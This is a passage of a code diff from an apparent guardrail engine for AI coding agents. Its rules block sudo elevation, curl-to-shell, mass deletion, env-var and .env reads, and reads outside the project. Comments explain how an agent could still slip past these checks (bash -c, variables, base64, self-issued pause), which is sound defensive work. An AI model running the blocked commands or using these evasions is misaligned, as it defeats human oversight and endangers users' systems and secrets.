"\\$&"); - return new RegExp(`${escaped}(?:[/"'\\s/*]|$)`).test(seg); - }); - if (!segCovered) return false; - } - } +function sanitizeBearerTokens(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub Authorization: Bearer tokens from tool output + const output = JSON.stringify(ctx.payload); + if (BEARER_TOKEN_RE.test(output)) { + return { + decision: "deny", + reason: "Bearer token detected in tool output", + message: "[REDACTED: Bearer token removed by failproofai]", + }; } - return sawRecursiveDelete; + return allow(); } - -function blockRmRf(ctx: PolicyContext): PolicyResult { +function warnDestructiveSql(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); + if (!SQL_TOOL_RE.test(cmd)) return allow(); - const hasCatastrophicTarget = shellSegments(cmd).some((seg) => { - const targets = recursiveDeletionTargets(seg); - return targets !== null && targets.some(isCatastrophicTarget); - }); - if (hasCatastrophicTarget) { - const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); - if (deletionTargetIsAllowed(cmd, allowPaths)) return allow(); - return deny("Catastrophic deletion blocked"); + // DROP or TRUNCATE always warns + if (DESTRUCTIVE_SQL_RE.test(cmd)) { + return instruct( + "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", + ); } - // PowerShell: Remove-Item -Recurse -Force on root/drive - if (/Remove-Item\s+.*-Recurse.*-Force.*(?:[A-Z]:\\(?:\s|$)|\\\*)/i.test(cmd)) { - return deny("Catastrophic deletion blocked"); - } - // cmd: rd /s /q or rmdir /s /q on drive root - if (/(?:rd|rmdir)\s+\/s\s+\/q\s+[A-Z]:\\/i.test(cmd)) { - return deny("Catastrophic deletion blocked"); + // DELETE FROM without WHERE warns + if (DELETE_NO_WHERE_RE.test(cmd) && !SQL_WHERE_RE.test(cmd)) { + return instruct( + "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", + ); } + return allow(); } - -function blockForcePush(ctx: PolicyContext): PolicyResult { +function warnLargeFileWrite(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Write") return allow(); + const content = ctx.toolInput?.content as string | undefined; + if (typeof content !== "string") return allow(); + const thresholdKb = ((ctx.params?.thresholdKb ?? 1024) as number); + const thresholdBytes = thresholdKb * 1024; + if (content.length > thresholdBytes) { + return instruct( + `STOP: You are writing a file larger than ${thresholdKb}KB (${Math.round(content.length / 1024)}KB). This is unusually large. Confirm this is intentional before proceeding.`, + ); + } + return allow(); +} +function warnPackagePublish(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); - for (const segment of extractGitPushArgs(getCommand(ctx))) { - let sawEndOfOptions = false; - for (const token of segment.split(/\s+/)) { - if (token === "--") { - sawEndOfOptions = true; - continue; - } - if (sawEndOfOptions) continue; - if (isForcePushFlag(token)) { - return deny("Force-pushing is blocked"); - } - } + const cmd = getCommand(ctx); + if (PUBLISH_CMD_RE.test(cmd)) { + return instruct( + "STOP: This command publishes a package to a public registry. Confirm with the user that this is intentional.", + ); } return allow(); } - -function isForcePushFlag(token: string): boolean { - if (token === "--force") return true; - if (SAFE_FORCE_PREFIXES.some((prefix) => token.startsWith(prefix))) return false; - if (token.startsWith("--force")) return true; - return SHORT_FLAG_BUNDLE_RE.test(token); +function protectEnvVars(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + // Block: env, printenv, echo $VAR, export VAR= + if (ENV_PRINTENV_RE.test(cmd)) { + return deny("Command reads environment variables"); + } + if (ECHO_ENV_RE.test(cmd)) { + return deny("Command echoes environment variable"); + } + if (EXPORT_RE.test(cmd)) { + return deny("Command exports environment variable"); + } + if (ENV_DUMP_RE.test(cmd) || (SCRIPT_INTERP_RE.test(cmd) && ENV_OBJECT_RE.test(cmd))) { + return deny("Command dumps environment variables"); + } + // PowerShell: $env:VAR + if (PS_ENV_VAR_RE.test(cmd)) { + return deny("Command reads environment variable via PowerShell"); + } + // PowerShell: Get-ChildItem Env: / dir env: / gci env: / ls env: + if (PS_CHILDITEM_ENV_RE.test(cmd)) { + return deny("Command reads environment variables via PowerShell"); + } + // PowerShell: [Environment]::GetEnvironmentVariable + if (DOTNET_GETENV_RE.test(cmd)) { + return deny("Command reads environment variable via .NET"); + } + // cmd: echo %VAR% + if (CMD_ECHO_ENV_RE.test(cmd)) { + return deny("Command echoes environment variable via cmd"); + } + return allow(); } - -function blockSecretsWrite(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Write") return allow(); +function blockEnvFiles(ctx: PolicyContext): PolicyResult { + const cmd = getCommand(ctx); const filePath = getFilePath(ctx); - if (SECRET_FILE_RE.test(filePath) || SECRET_FILE_ID_RSA_RE.test(filePath) || SECRET_FILE_CREDENTIALS_RE.test(filePath)) { - return deny("Writing secret key files is blocked"); + + // Check file_path for Read/Write tools (match both / and \ path separators) + if (filePath && ENV_FILE_PATH_RE.test(filePath)) { + return deny("Access to .env file blocked"); } - const additionalPatterns = ((ctx.params?.additionalPatterns ?? []) as string[]); - for (const pattern of additionalPatterns) { - if (filePath.includes(pattern)) { - return deny(`Writing blocked file pattern: ${pattern}`); - } + // Check Bash commands referencing .env files + if (ctx.toolName === "Bash" && ENV_CMD_RE.test(cmd)) { + return deny("Command references .env file"); } return allow(); } - -/** Read-like commands that access file system contents. */ -const READ_LIKE_CMDS = - /(?:^|;|&&|\|\||\|)\s*(?:ls|find|cat|head|tail|less|more|wc|file|stat|tree|du)\s/; - /** - * Extract absolute paths from a Bash command string. - * Scans quoted strings only in the first pipeline segment (before the first - * bare pipe) and only when the quoted content has no glob or regex metacharacters. - * This catches `cat "/etc/passwd"` while avoiding false positives from grep - * patterns and find glob patterns that appear in later pipeline stages. - * Unquoted absolute paths are extracted from the whole command as before. + * True when a segment runs an elevation binary IN COMMAND POSITION. * - * The negative lookbehind also excludes glob metacharacters ('*', '?') and - * separator characters that appear in compound argv tokens (':' for Docker - * volume mounts and PATH-like lists, '=' for env var assignments) so that a - * suffix like '/dashboard.mdx' in 'docs/STAR/dashboard.mdx' or '/docs' in - * '-v HOST_DIR:/docs' is not misread as a standalone absolute path. '/' is in - * that list too, so a match cannot START on the second slash of a protocol - * separator: 'http://localhost:3000/x' used to yield '/localhost:3000/x'. - * A match that starts on the FIRST slash is untouched, so '//etc/passwd' — - * a real, working spelling of /etc/passwd — is still extracted and still - * resolves to /etc/passwd. + * Anchored structurally rather than by token, for the reason `namesSelfPause` + * is: `SUDO_RE` required the literal token `sudo` at a command boundary, so + * **`/usr/bin/sudo rm -rf /` was ALLOWED** — a direct invocation, no + * obfuscation, one absolute path away from root on a `defaultEnabled` guard. + * Every other form the shell resolves before settling on the binary — prefix + * assignments, redirections, runners and their flags — is walked off first, and + * the comparison is on the BASENAME so a path cannot hide the name. * - * A run of slashes with nothing else ('//', '///') that opens a line after - * the first is dropped: that is a line-comment marker in a heredoc body, not a - * directory. It used to resolve to the filesystem root, which denied a heredoc - * writing a TypeScript file into the project. Anywhere else a slash-run is - * the root, as a lone '/' is: `cd // && cat etc/shadow` reads /etc/shadow. + * `doas` is included because it is the same capability under a different name; + * a machine with `doas` installed and only `sudo` blocked is not blocked. + * + * This raises the bar; it does not close the class. `bash -c "sudo …"`, a + * variable (`S=sudo; $S …`) and base64-through-a-pipe all still reach root, + * because static inspection of one command string cannot follow them. Closing + * that properly needs enforcement below the shell, not a better regex. */ -function extractAbsolutePaths(command: string): string[] { - const paths: string[] = []; - const pathRe = /(?//`, which bash joins into one line. - if (/^\/{2,}$/.test(p)) { - const nl = s.lastIndexOf("\n", m.index - 1); - if (nl !== -1 && s[nl - 1] !== "\\" && /^[ \t]*$/.test(s.slice(nl + 1, m.index))) continue; +/** + * Split a command into per-segment TOKEN LISTS the way a shell reads it. + * + * Distinct from `shellSegments` below, which returns raw segment STRINGS and is + * what the deletion policies want. Named apart deliberately: defining a second + * `shellSegments` here shadowed that one, silently broke every `rm -rf` check, + * and disabled this matcher too — caught only because `tsc` reports duplicate + * implementations. + * + * Segmentation happens on the RAW string and skips separators inside quotes, + * which is the whole point: stripping quoting FIRST turns `\|` — a literal pipe + * in a grep alternation — into a real separator, so `grep "a\|sudo b"` parses + * as a command called `sudo` and gets denied. That is a common enough pattern + * that over-blocking it is worse than the evasion it would catch. + * + * Each token is unquoted individually afterwards, which still defeats `\sudo` + * and `"sudo"` without ever letting quote removal change where the boundaries + * are. Quoted tokens are returned separately so a caller can decide whether + * their CONTENTS deserve a second look — see `EVAL_FLAG_RE`. + */ +function quoteAwareSegments(command: string): Array { + const segments: Array = []; + let tokens: string[] = []; + let token = ""; + let quote: '"' | "'" | null = null; + const endToken = () => { + if (token) tokens.push(token); + token = ""; + }; + const endSegment = () => { + endToken(); + if (tokens.length) segments.push(tokens); + tokens = []; + }; + for (let i = 0; i < command.length; i++) { + const c = command[i]; + if (quote) { + // Inside single quotes a backslash is literal; inside double quotes it escapes. + if (c === "\\" && quote === '"' && i + 1 < command.length) { + token += command[++i]; + continue; + } + if (c === quote) { + quote = null; + continue; + } + token += c; + continue; + } + if (c === "\\" && i + 1 < command.length) { + // An escaped character is literal — `\sudo` is still sudo, and `\|` is a + // pipe CHARACTER rather than a separator. + token += command[++i]; + continue; + } + if (c === '"' || c === "'") { + quote = c; + continue; + } + if (/\s/.test(c)) { + endToken(); + continue; + } + if (/[;&|\n\r(){}`]/.test(c)) { + endSegment(); + continue; + } + token += c; + } + endSegment(); + return segments; +} +/** `-c` and friends: the flags whose ARGUMENT is a command, not data. */ +const EVAL_FLAG_RE = /^-{1,2}c$/; +/** + * True when a command runs an elevation binary IN COMMAND POSITION. + * + * Anchored structurally rather than by token, for the reason `namesSelfPause` + * is: `SUDO_RE` required the literal token `sudo` at a command boundary, so + * **`/usr/bin/sudo rm -rf /` was ALLOWED** — a direct invocation, no + * obfuscation, one absolute path away from root on a `defaultEnabled` guard. + * Every other form the shell resolves before settling on the binary — prefix + * assignments, redirections, runners and their flags — is walked off first, and + * the comparison is on the BASENAME so a path cannot hide the name. + * + * `doas` is included because it is the same capability under a different name; + * a machine with `doas` installed and only `sudo` blocked is not blocked. + * + * A quoted argument is re-examined ONLY when the command that owns it is a + * shell runner invoked with an eval flag (`bash -c "sudo …"`). That distinction + * is load-bearing: `bash -c "sudo x"` and `grep "a|sudo x"` are identical from + * the outside, and the only thing separating an execution from a search string + * is whether the receiving binary evaluates its argument. + * + * This raises the bar; it does not close the class. A variable (`S=sudo; $S …`), + * base64 through a pipe, and a wrapper script on disk all still reach root, + * because static inspection of one command string cannot follow them. Closing + * that properly needs enforcement below the shell, not a better matcher. + */ +function namesElevation(command: string, depth = 0): boolean { + for (const tokens of quoteAwareSegments(command)) { + let i = 0; + while (i < tokens.length) { + const token = tokens[i]; + const base = token.slice(token.lastIndexOf("/") + 1); + // `sudo`/`doas` are themselves in COMMAND_PREFIX_TOKENS (they legitimately + // stand in front of another binary), so they must be tested BEFORE the + // skip list or the walk would step straight over the thing being looked for. + if (base === "sudo" || base === "doas") return true; + const isSkippable = + ENV_ASSIGNMENT_RE.test(token) || + token.startsWith("-") || + token.startsWith(">") || + token.startsWith("<") || + RUNNER_OPERAND_RE.test(token) || + COMMAND_PREFIX_TOKENS.has(base); + if (!isSkippable) break; + // `sh -c "…"` / `bash -c "…"`: the next token is a COMMAND. Bounded + // recursion so a nested `bash -c "bash -c …"` cannot spin. + if (EVAL_FLAG_RE.test(token) && depth < 3 && i + 1 < tokens.length) { + if (namesElevation(tokens[i + 1], depth + 1)) return true; + } + i++; + } + } + return false; +} +function blockSudo(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx).trimStart(); + // ONE pass. `shellSegments` unquotes each token individually, so `\sudo` and + // `"sudo"` are still caught — without a whole-string strip, which is what + // turned an escaped pipe in `grep "a\|sudo b"` into a segment separator and + // denied an ordinary search. + if (namesElevation(cmd)) { + // Check allowPatterns — match against parsed tokens, not raw string + const allowPatterns = ((ctx.params?.allowPatterns ?? []) as string[]); + if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); + return deny("sudo commands are blocked"); + } + // PowerShell: Start-Process -Verb RunAs (elevation) + if (PS_ELEVATION_RE.test(cmd)) { + return deny("Elevated process launch is blocked"); + } + // Windows: runas command + if (RUNAS_RE.test(cmd)) { + return deny("runas elevation is blocked"); + } + return allow(); +} + +/** + * A pause the agent can issue is not a guardrail. + * + * `failproofai config --pause` is a human affordance: you watched the agent get + * blocked, you judged the block wrong, you suspended enforcement for a bit. An + * agent that can run it turns every other policy advisory — it need only shell + * out once to switch them all off, and the pause even survives into later turns. + * + * This raises the bar rather than closing the class: an agent can still reach + * the same state obfuscated (base64, a wrapper script, an alias). Closing it + * properly means the pause cannot originate from a tool call at all — a + * dashboard action, or a daemon that accepts it only from a TTY. Until then, + * the honest description of this policy is "stops the obvious attempt". + * + * It is deliberately NOT redundant with `block-failproofai-commands`, which + * blocks the CLI far more broadly. That one anchors on a command boundary + * (`FAILPROOFAI_CLI_RE`), so `npx -y failproofai config --pause` does not match + * it — and being broad, it is a policy people plausibly switch off so agents + * can run `failproofai audit`. Neither gap should leave pausing reachable, so + * this stays narrow, matches the runner forms, and survives that one being off. + */ +function blockCurlPipeSh(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (CURL_PIPE_SH_RE.test(cmd)) { + return deny("Piping downloads to shell is blocked"); + } + // PowerShell: iwr | iex, irm | iex, Invoke-WebRequest | Invoke-Expression + if (PS_WEB_PIPE_RE.test(cmd)) { + return deny("Piping downloads to Invoke-Expression is blocked"); + } + return allow(); +} +function extractGitPushArgs(cmd: string): string[] { + return cmd + .split(/&&|\|\||[|;\n]/) + .map((s) => s.trim()) + .filter((s) => /^git\s+push\s/.test(s)) + .map((s) => s.replace(/^git\s+push\s+/, "")); +} +function blockPushMaster(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); + if (protectedBranches.length === 0) return allow(); + const args = extractGitPushArgs(getCommand(ctx)); + const branchPattern = new RegExp(`\\b(?:${protectedBranches.map((b) => b.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b`); + if (args.some((a) => branchPattern.test(a))) { + return deny(`Pushing to ${protectedBranches.join("/")} is blocked`); + } + return allow(); +} + +// -- block-rm-rf: deletion-target resolution -- +/** + * Leading shell forms that resolve to a home directory: `~`, `~user`, `$HOME`, + * `${HOME}`. The lookahead keeps `$HOMEBREW_PREFIX` (a variable this policy + * cannot resolve) from being mistaken for `$HOME`. + */ +const HOME_PREFIX_RE = /^(?:~[A-Za-z0-9_.-]*|\$HOME|\$\{HOME\})(?=$|\/)/; +/** `rm`, `/bin/rm`, `/usr/bin/rm`, … — the command word of a delete. */ +const RM_CMD_RE = /^(?:\/\S*\/)?rm$/; +/** `find` expression that deletes: `-delete`, `-exec rm`, `-execdir rm`, `-ok rm`. */ +// Same shape as RM_CMD_RE: `find` is just as dangerous when invoked by +// absolute path (`/usr/bin/find / -delete`), so match both forms. +const FIND_CMD_RE = /^(?:\/\S*\/)?find$/; +const FIND_EXEC_RE = /^-(?:exec|execdir|ok|okdir)$/; +/** find's global options, which precede its path operands (`find -L / -delete`). */ +const FIND_GLOBAL_OPT_RE = /^-(?:[HLP]|D|O\d*)$/; +/** First token of find's expression — everything before it is a path operand. */ +const FIND_EXPR_START_RE = /^(?:-|\\?[(!])/; +/** + * Roots that exist to hold throwaway data. A delete of the root itself is still + * catastrophic (`rm -rf /tmp` wipes every process's scratch space); a delete of + * something *inside* one is ordinary work. + */ +const SCRATCH_ROOTS = ["/tmp", "/var/tmp"]; +/** + * How many path segments below a root (`/` or a home directory) a delete has to + * reach before it stops being catastrophic. `/etc` (1) and `/home/chetan` (2) + * are system- and user-level directories; `/home/chetan/project` (3) is a + * specific thing the caller meant to delete. + */ +const CATASTROPHIC_DEPTH = 2; +/** Expand the leading `~` / `$HOME` / `${HOME}` of a path to the real home directory. */ +function expandHomePrefix(path: string): string { + const m = path.match(/^(?:~|\$HOME|\$\{HOME\})(?=$|\/)/); + return m ? homedir() + path.slice(m[0].length) : path; +} +/** Drop a trailing `/*` glob and any trailing slashes: `/tmp/foo/*` → `/tmp/foo`. */ +function stripTrailingGlob(path: string): string { + return path.replace(/\/\*$/, "").replace(/\/+$/, ""); +} +/** + * Would deleting this target be catastrophic? + * + * Rather than pattern-matching the raw command text, this resolves the token as + * far as the shell would: quotes are stripped, `~` / `$HOME` are recognised as a + * root in their own right, and the remaining path segments are counted. A target + * within {@link CATASTROPHIC_DEPTH} segments of either root (`/` or home) takes + * out the machine or the user's data. + * + * Fails safe: a token whose head is an expansion this policy cannot evaluate — + * command substitution (`$(…)`, backticks) or any variable other than `$HOME` — + * could expand to `/`, so it counts as catastrophic. Relative targets are not + * flagged: they resolve under the working directory, not under a root. + */ +function isCatastrophicTarget(token: string): boolean { + const raw = token.replace(/^['"]|['"]$/g, ""); + if (raw === "") return false; + + const homePrefix = raw.match(HOME_PREFIX_RE); + // Unresolvable head: `$(echo /)`, `` `pwd` ``, `$TARGET_DIR`, … + if (!homePrefix && /^[$`]/.test(raw)) return true; + + const belowRoot = homePrefix ? raw.slice(homePrefix[0].length) : raw.startsWith("/") ? raw : null; + if (belowRoot === null) return false; + + const segments = stripTrailingGlob(belowRoot).split("/").filter(Boolean); + if (!homePrefix && SCRATCH_ROOTS.some((r) => `/${segments.join("/")}`.startsWith(`${r}/`))) return false; + return segments.length <= CATASTROPHIC_DEPTH; +} +/** + * The paths a single command segment would recursively delete, or `null` when the + * segment is not a recursive delete at all. + * + * Understands the two shapes that reach every file under a target: `rm` with both + * `-r` and `-f` (in any spelling or order), and `find`, which recurses by design, + * paired with `-delete` or an `-exec rm`. + */ +function recursiveDeletionTargets(seg: string): string[] | null { + const tokens = parseArgvTokens(seg); + + const findIdx = tokens.findIndex((t) => FIND_CMD_RE.test(t)); + if (findIdx >= 0) { + const expr = tokens.slice(findIdx + 1); + const execIdx = expr.findIndex((t) => FIND_EXEC_RE.test(t)); + const deletes = expr.includes("-delete") || (execIdx >= 0 && RM_CMD_RE.test(expr[execIdx + 1] ?? "")); + if (deletes) { + // find's path operands sit between the leading global options and the + // first expression token: `find -L /home/chetan -name '*.log' -delete` + let start = 0; + while (start < expr.length && FIND_GLOBAL_OPT_RE.test(expr[start])) { + start += expr[start] === "-D" ? 2 : 1; + } + const rest = expr.slice(start); + const end = rest.findIndex((t) => FIND_EXPR_START_RE.test(t)); + return end < 0 ? rest : rest.slice(0, end); + } + } + + const rmIdx = tokens.findIndex((t) => RM_CMD_RE.test(t)); + if (rmIdx >= 0) { + const args = tokens.slice(rmIdx + 1); + const shortFlags = args.filter((t) => /^-[^-]/.test(t)).join(""); + const longFlags = args.filter((t) => /^--/.test(t)); + const recursive = /r/i.test(shortFlags) || longFlags.some((f) => /^--recursive$/i.test(f)); + const force = /f/.test(shortFlags) || longFlags.some((f) => /^--force$/i.test(f)); + if (recursive && force) return args.filter((t) => !t.startsWith("-")); + } + + return null; +} +/** Split a command into the segments the shell would run as separate commands. */ +function shellSegments(cmd: string): string[] { + return cmd.split(/&&|\|\||[|;\n]/).map((s) => s.trim()).filter((s) => s !== ""); +} +/** + * Check whether all recursive-delete targets in a command are under an allowlisted path. + * Splits on shell operators first so that `/tmp` appearing in an unrelated + * sub-command (e.g. `echo /tmp && rm -rf /`) does not trigger a false allow. + * Uses path-boundary comparison so `/tmp` does not cover `/tmp2`. + * Non-recursive rm segments (no -r/-R flag) are skipped — they pose no catastrophic risk. + * Quoted paths with spaces are handled via a segment-level regex fallback. + * Home-relative targets and allowPaths entries are expanded, so `~/scratch` is + * covered by an allowPaths entry of either `~/scratch` or the absolute home path. + */ +function deletionTargetIsAllowed(cmd: string, allowPaths: string[]): boolean { + if (allowPaths.length === 0) return false; + const normalizedAllowPaths = allowPaths.map((p) => stripTrailingGlob(expandHomePrefix(p)) || "/"); + let sawRecursiveDelete = false; + for (const seg of shellSegments(cmd)) { + const targets = recursiveDeletionTargets(seg); + if (targets === null) continue; + sawRecursiveDelete = true; + for (const target of targets) { + const normalized = stripTrailingGlob(expandHomePrefix(target)) || "/"; + const covered = normalizedAllowPaths.some((np) => normalized === np || normalized.startsWith(np + "/")); + if (!covered) { + // Fallback: check the raw segment for quoted paths that contain spaces + // (parseArgvTokens splits on whitespace, so "/tmp/my dir" becomes two tokens) + const segCovered = allowPaths.some((p) => { + const escaped = p.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return new RegExp(`${escaped}(?:[/"'\\s/*]|$)`).test(seg); + }); + if (!segCovered) return false; + } + } + } + return sawRecursiveDelete; +} +function blockRmRf(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + + const hasCatastrophicTarget = shellSegments(cmd).some((seg) => { + const targets = recursiveDeletionTargets(seg); + return targets !== null && targets.some(isCatastrophicTarget); + }); + if (hasCatastrophicTarget) { + const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); + if (deletionTargetIsAllowed(cmd, allowPaths)) return allow(); + return deny("Catastrophic deletion blocked"); + } + + // PowerShell: Remove-Item -Recurse -Force on root/drive + if (/Remove-Item\s+.*-Recurse.*-Force.*(?:[A-Z]:\\(?:\s|$)|\\\*)/i.test(cmd)) { + return deny("Catastrophic deletion blocked"); + } + // cmd: rd /s /q or rmdir /s /q on drive root + if (/(?:rd|rmdir)\s+\/s\s+\/q\s+[A-Z]:\\/i.test(cmd)) { + return deny("Catastrophic deletion blocked"); + } + return allow(); +} +function blockForcePush(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + for (const segment of extractGitPushArgs(getCommand(ctx))) { + let sawEndOfOptions = false; + for (const token of segment.split(/\s+/)) { + if (token === "--") { + sawEndOfOptions = true; + continue; + } + if (sawEndOfOptions) continue; + if (isForcePushFlag(token)) { + return deny("Force-pushing is blocked"); + } + } + } + return allow(); +} +function isForcePushFlag(token: string): boolean { + if (token === "--force") return true; + if (SAFE_FORCE_PREFIXES.some((prefix) => token.startsWith(prefix))) return false; + if (token.startsWith("--force")) return true; + return SHORT_FLAG_BUNDLE_RE.test(token); +} +function blockSecretsWrite(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Write") return allow(); + const filePath = getFilePath(ctx); + if (SECRET_FILE_RE.test(filePath) || SECRET_FILE_ID_RSA_RE.test(filePath) || SECRET_FILE_CREDENTIALS_RE.test(filePath)) { + return deny("Writing secret key files is blocked"); + } + const additionalPatterns = ((ctx.params?.additionalPatterns ?? []) as string[]); + for (const pattern of additionalPatterns) { + if (filePath.includes(pattern)) { + return deny(`Writing blocked file pattern: ${pattern}`); + } + } + return allow(); +} +/** Read-like commands that access file system contents. */ +const READ_LIKE_CMDS = + /(?:^|;|&&|\|\||\|)\s*(?:ls|find|cat|head|tail|less|more|wc|file|stat|tree|du)\s/; +/** + * Extract absolute paths from a Bash command string. + * Scans quoted strings only in the first pipeline segment (before the first + * bare pipe) and only when the quoted content has no glob or regex metacharacters. + * This catches `cat "/etc/passwd"` while avoiding false positives from grep + * patterns and find glob patterns that appear in later pipeline stages. + * Unquoted absolute paths are extracted from the whole command as before. + * + * The negative lookbehind also excludes glob metacharacters ('*', '?') and + * separator characters that appear in compound argv tokens (':' for Docker + * volume mounts and PATH-like lists, '=' for env var assignments) so that a + * suffix like '/dashboard.mdx' in 'docs/STAR/dashboard.mdx' or '/docs' in + * '-v HOST_DIR:/docs' is not misread as a standalone absolute path. '/' is in + * that list too, so a match cannot START on the second slash of a protocol + * separator: 'http://localhost:3000/x' used to yield '/localhost:3000/x'. + * A match that starts on the FIRST slash is untouched, so '//etc/passwd' — + * a real, working spelling of /etc/passwd — is still extracted and still + * resolves to /etc/passwd. + * + * A run of slashes with nothing else ('//', '///') that opens a line after + * the first is dropped: that is a line-comment marker in a heredoc body, not a + * directory. It used to resolve to the filesystem root, which denied a heredoc + * writing a TypeScript file into the project. Anywhere else a slash-run is + * the root, as a lone '/' is: `cd // && cat etc/shadow` reads /etc/shadow. + */ +function extractAbsolutePaths(command: string): string[] { + const paths: string[] = []; + const pathRe = /(?//`, which bash joins into one line. + if (/^\/{2,}$/.test(p)) { + const nl = s.lastIndexOf("\n", m.index - 1); + if (nl !== -1 && s[nl - 1] !== "\\" && /^[ \t]*$/.test(s.slice(nl + 1, m.index))) continue; + } + if (p === "~") p = homedir(); + else if (p.startsWith("~/")) p = join(homedir(), p.slice(2)); + paths.push(p); + } + } + + // Find the index of the first bare pipe (not inside quotes) to limit quoted extraction. + let firstBarePipe = command.length; + let inDouble = false, inSingle = false; + for (let i = 0; i < command.length; i++) { + const c = command[i]; + if (c === '"' && !inSingle) inDouble = !inDouble; + else if (c === "'" && !inDouble) inSingle = !inSingle; + else if (c === "|" && !inDouble && !inSingle) { firstBarePipe = i; break; } + } + + // Extract paths from quoted strings in the FIRST pipeline segment only, + // and only when the content has no glob/regex metacharacters. + const firstSegment = command.slice(0, firstBarePipe); + const quotedRe = /"([^"]*)"|'([^']*)'/g; + let qm: RegExpExecArray | null; + while ((qm = quotedRe.exec(firstSegment)) !== null) { + const content = qm[1] ?? qm[2] ?? ""; + // Skip patterns that contain glob or common regex metacharacters + if (/[*?\[\]^$+()\\]/.test(content)) continue; + addPaths(content); + } + + // Extract from unquoted portions of the whole command (existing behaviour). + const stripped = command + .replace(/"[^"]*"/g, (m) => " ".repeat(m.length)) + .replace(/'[^']*'/g, (m) => " ".repeat(m.length)); + addPaths(stripped); + + return paths; +} +function blockReadOutsideCwd(ctx: PolicyContext): PolicyResult { + // Prefer $CLAUDE_PROJECT_DIR (stable project root) over ctx.session.cwd, + // which tracks the live shell CWD and drifts when Claude `cd`s into a subdir. + const cwd = process.env.CLAUDE_PROJECT_DIR || ctx.session?.cwd; + if (!cwd) return allow(); // Can't enforce without cwd + + const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); + + // For Bash tool: check read-like commands for absolute paths outside cwd + if (ctx.toolName === "Bash") { + const cmd = getCommand(ctx); + if (!READ_LIKE_CMDS.test(cmd)) return allow(); + + const paths = extractAbsolutePaths(cmd); + const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; + for (const p of paths) { + const resolved = resolve(cwd, p); + if (isClaudeSettingsFile(resolved)) { + return deny(`Reading agent settings file blocked: ${resolved}`); + } + if (isClaudeInternalPath(resolved)) continue; // Whitelist ~/.claude/ + if (resolved === "/dev/null") continue; // Harmless special file + if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { + if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) continue; + return deny(`Bash read outside project directory blocked: ${resolved}`); + } + } + return allow(); + } + + // For Read/Glob/Grep: existing file_path / path check + const filePath = getFilePath(ctx); + const searchPath = (ctx.toolInput?.path as string) ?? ""; + + const target = filePath || searchPath; + if (!target) return allow(); + + const resolved = resolve(cwd, target); + + // Block settings files in any .claude directory before whitelisting + if (isClaudeSettingsFile(resolved)) { + return deny(`Reading agent settings file blocked: ${resolved}`); + } + + // Whitelist ~/.claude/ — Claude Code's own config, plans, memory, and settings + if (isClaudeInternalPath(resolved)) return allow(); + + // Whitelist /dev/null — harmless special file commonly used in shell commands + if (resolved === "/dev/null") return allow(); + + const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; + if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { + if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) return allow(); + return deny(`Access outside project directory blocked: ${resolved}`); + } + return allow(); +} +function blockWorkOnMain(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + const match = cmd.match(GIT_COMMIT_MERGE_RE); + if (!match) return allow(); + + const cwd = ctx.session?.cwd; + if (!cwd) return allow(); + + const branch = getCurrentBranch(cwd); + if (!branch) return allow(); + + const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); + if (protectedBranches.includes(branch)) { + return deny( + `Git ${match[1]} on ${branch} is blocked. Create a feature branch first.`, + ); + } + return allow(); +} +// ── The state walk from FailproofAI/failproofai#1058 ───────────────────────── +// failproofai's state, installed code and the npx bin entry. The settings +// files go through destroysProtectedPath above; the state goes through both. + +/** + * Commands that put a file into a directory under the file's OWN name, and the + * options of each that take a value, short and long. + * + * `cp /tmp/stage/failproofai node_modules/.bin/` writes + * `node_modules/.bin/failproofai`, and that path appears nowhere on the line: + * the source names a scratch file and the destination names a directory that + * holds every package's binary. So the name a source would land under is + * judged as well as the operands as written (FailproofAI/agenteye#1795). + * A value is not a source: `install -o failproofai -m 0755 agentd /usr/local/bin/` + * installs `agentd`. `t` is the target directory for all but rsync, where it + * is `--times`, and scp, which has none. scp's `-T` is not `--no-target-directory` + * and its `-R` is not recursive. + */ +type IntoDirectoryOptions = { short: string; values: readonly string[]; flags: readonly string[] }; +// A Map, not an object literal: a command named `constructor` or `__proto__` +// must not find Object.prototype's member here, or the walk throws and the +// evaluator skips this always-on policy (found by CodeRabbit on #1058). +const INTO_DIRECTORY_OPTIONS = new Map(Object.entries({ + // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take + // one, `flags` take none or only an `=VALUE` glued on. + cp: { + short: "St", + values: ["no-preserve", "sparse", "suffix", "target-directory"], + flags: [ + "archive", "attributes-only", "backup", "context", "copy-contents", "debug", "dereference", "force", "help", + "interactive", "keep-directory-symlink", "link", 